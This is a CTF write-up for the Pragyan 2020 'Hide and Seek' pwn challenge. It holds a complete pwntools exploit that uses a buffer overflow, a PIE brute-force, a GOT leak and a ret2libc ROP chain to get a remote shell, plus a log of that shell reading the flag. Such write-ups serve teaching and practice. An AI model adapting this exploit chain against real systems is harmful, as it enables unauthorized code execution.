[Pwn] Pragyan 2020 - Hide and Seek

Hide and Seek

Description:
150pts

Solvers 11

Little Joe is lonely and has no one to play with him. So, his father built him a toy that can play hide and seek with him. However, Little Joe has lost his toy! Can you help him find it?

First solvers: OpenToAll

gps 1760946c1646ecf61192e545c2e9ac4a
libc-2.27.so 50390b2ae8aaa73c47745040f54e602f
nc ctf.pragyan.org 17000

Intro

This challenge had a very few solves, maybe because most people gave up after the hack. Another reason is probably because when trying to get a shell with system on the server it returns segmentation fault due to an alignment problem, this is an issue I also had in a previous ctf (CSAW 2019) and the fix is pretty simple as I will explain bellow.

Extracting info

Everything is enabled besides the stack canary:

1
2
3
4
5
6
7
$ checksec gpsu
[*] '/ctf/work/pwn/hideandseek/gpsu'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

From the file command we know that the binary is dynamically linked so we know it’s going to use a shared library of libc.

1
2
$ file gpsu
gpsu: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2b53545d7df75c5dd56122820cf4806f2be749d3, for GNU/Linux 3.2.0, not stripped

Vulnerability

There is an obvious buffer overflow vulnerability in scanf, we also partially got a leak of the PIE address, which is necessary if we want to leak addresses from the GOT and to build a ropchain:

Writing the exploit

First thing we want to do is to get the pie address some numbers from it we already know because they’re not affected by the ALSR:

1
0xXXXXXXXX?000

The ones we already know is the last 3 which is 3 zeros, the “Xs” are leaked from the binary from those printfs but we are missing one number which is denoted with a “?”. The solution to this is to brute-force this number, a 4 bit bruteforce shouldn’t take much time even when connecting remotely.

So to form the pie address we can do this in python:

1
2
3
4
5
6
7
8
addr = '0xXXXXXXXX4000' # 8 bit brute-force (random guess of "?" with the number 4)
addr = list(addr)
indexes = [2,4,6,8,3,5,7,9]
for i in indexes:
r.recvuntil('|')
addr[i]=r.recv(1).decode()
r.recvuntil('|')
PIE = int(''.join(addr),16)

To brute-force every try we need to put this in a loop until we get the right address, if we succeed we can leak a libc address from the GOT:

1
2
3
4
5
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret
ROP_CHAIN += p64(PIE+elf.got['fgets']) # fgets@got
ROP_CHAIN += p64(PIE+0x10e0) # r2 -> ?v sym.imp.puts
ROP_CHAIN += p64(MAIN) # return to main
r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)

The author didn’t release any libc file, because of this I used a very nice tool, from the leaked address, we can use the find command to get the right libc version:

1
2
3
4
5
6
7
8
9
$ /libc-database/find fgets 0x7f0916d25b20
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)
$ /libc-database/download libc6_2.27-3ubuntu1_amd64
Getting libc6_2.27-3ubuntu1_amd64
-> Location: http://mirrors.kernel.org/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.27-3ubuntu1_amd64
$ cp /libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc-2.27.so .

Next thing to do is to calculate the offsets:

1
2
3
4
5
6
FGETS = u64(r.recvuntil('\x7f').ljust(8,b'\x00'))
LIBC = FGETS-libc.symbols['fgets']
SYSTEM = LIBC+libc.symbols['system']
BINSH = LIBC+next(libc.search(b'/bin/sh\x00'))
log.info('FGETS 0x%x', FGETS)
log.info('LIBC 0x%x', LIBC)

Now its time to build a ropchain that executes system(“/bin/sh\x00”);, this is probably where most people got stuck, if we build a ropchain like this:

1
2
3
4
5
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret
ROP_CHAIN += p64(BINSH)
ROP_CHAIN += p64(SYSTEM) # system(rdi=&/bin/sh);
ROP_CHAIN += p64(MAIN)
r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)

Locally everything runs smoothly but when running at the server it always segfaults , basically our payload needs to be aligned within a 16 byte multiple, so to fix the alignment on the remote machine we can just add another rop instruction ret between BINSH and SYSTEM which in the end doesn’t do anything but will fix the alignment on the server machine:

1
2
3
4
5
6
ROP_CHAIN = p64(POPRDI) # pop rdi ; ret
ROP_CHAIN += p64(BINSH)
ROP_CHAIN += p64(RET) # ret Won't work on server without this
ROP_CHAIN += p64(SYSTEM) # system(rdi=&/bin/sh);
ROP_CHAIN += p64(MAIN)
r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)

With this we can get a shell remotely:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[+] Opening connection to ctf.pragyan.org on port 17000: Done
[*] 0x55df3d9c4000
...
[+] Opening connection to ctf.pragyan.org on port 17000: Done
[*] 0x556cd8114000
[*] FGETS 0x7f9e7ed7bb20
[*] LIBC 0x7f9e7ecfd000
[*] Switching to interactive mode
|5| |6| |d| |1|
--- --- --- ---

YOU ARE HERE
O
--- --- --- ---
|5| |c| |8| |1|
--- --- --- ---
$ cat bin/flag.txt
p_ctf{M@p_SPac3s_h3lP_pe0pl3_N@viG@t3}
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
host, port = "ctf.pragyan.org", "17000"
filename = "./gpsu"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"r").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)
context.terminal = ['tmux', 'new-window']
def exploit():
global r
try:
r = getConn()

if not args.REMOTE and args.GDB:
debug([0x143b]) # 0x131a

addr = '0xXXXXXXXX4000' # 4 bit bruteforce
addr = list(addr)
indexes = [2,4,6,8,3,5,7,9]
for i in indexes:
r.recvuntil('|')
addr[i]=r.recv(1).decode()
r.recvuntil('|')

PIE = int(''.join(addr),16)
RET = PIE+0x000000000000101a # ret
POPRDI = PIE+0x00000000000014d3 # pop rdi ; ret
MAIN = PIE+0x143c
log.info('0x%x'% PIE)

ROP_CHAIN = p64(POPRDI)
ROP_CHAIN += p64(PIE+elf.got['fgets'])
ROP_CHAIN += p64(PIE+0x10e0) # r2 -> ?v sym.imp.puts
ROP_CHAIN += p64(MAIN)
#context.log_level = 'debug'
r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)

FGETS = u64(r.recvuntil('\x7f').ljust(8,b'\x00'))
LIBC = FGETS-libc.symbols['fgets']
SYSTEM = LIBC+libc.symbols['system']
BINSH = LIBC+next(libc.search(b'/bin/sh\x00'))
log.info('FGETS 0x%x', FGETS)
log.info('LIBC 0x%x', LIBC)

ROP_CHAIN = p64(POPRDI)
ROP_CHAIN += p64(BINSH)
ROP_CHAIN += p64(RET) # Won't work on server without this
ROP_CHAIN += p64(SYSTEM)
ROP_CHAIN += p64(MAIN)
r.sendlineafter('---\n', b'A'*38+ROP_CHAIN)

r.interactive()
r.close()
return True
except EOFError:
r.close()
return False

while not exploit():
pass